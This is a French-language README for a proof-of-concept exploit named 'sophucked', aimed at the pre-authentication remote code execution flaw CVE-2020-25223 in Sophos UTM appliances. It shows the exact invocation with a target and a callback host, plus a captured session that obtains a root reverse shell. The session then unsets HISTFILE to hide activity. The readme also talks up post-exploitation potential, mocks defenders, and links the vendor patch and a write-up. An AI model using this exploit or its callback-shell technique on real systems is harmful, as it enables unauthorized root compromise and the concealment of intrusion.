sophucked

CVE-2020-25223 RCE PoC, obtient un reverse shell. Pre-auth. Implémenté rapidement car il était nécessaire d'unifier certains threat magnets.

Exemple d'utilisation :

# python sophucked.py https://x.x.x.x:4443 x.x.x.x 80
(+) starting handler on port 80
(+) Sending callback to x.x.x.x:80
(+) connection from x.x.x.x
(+) pop thy shell!
bash: no job control in this shell
utm:/var/confd # unset HISTFILE
unset HISTFILE
utm:/var/confd # id
id
uid=0(root) gid=0(root) groups=0(root)
utm:/var/confd # exit
exit
exit
*** Connection closed by remote host ***
# 

Scan/Détection

Pas implémenté ici, utilisez simplement le template nuclei.

Notes de post-exploitation

Ces machines disposent d'un interpréteur Python et en fait d'un environnement Linux très complet. Un potentiel incroyable pour la post-exploitation.

Notes pour l'équipe bleue

Je suis sûr que quelqu'un qui s'y intéresse peut remplir cette section. Bitter (un sous-ensemble de « blue team twitter ») le fera probablement rapidement. Je veux dire, ce n'est pas si difficile de détecter un reverse shell non chiffré qui communique depuis votre boîtier Unified Threat Manager, non ?

Corriger le bug

Quelqu'un (vraisemblablement de Sophos) a envoyé ceci, c'est le lien de correctif officiel. Allez mettre à jour votre UTM. https://www.sophos.com/en-us/security-advisories/sophos-sa-20200918-sg-webadmin-rce

Références, etc.

Référence tierce (détails du bug) : https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223

Réclamations directes à Sophos, qui a apparemment pensé que passer une entrée utilisateur à open() en Perl était une bonne idée au XXIe siècle.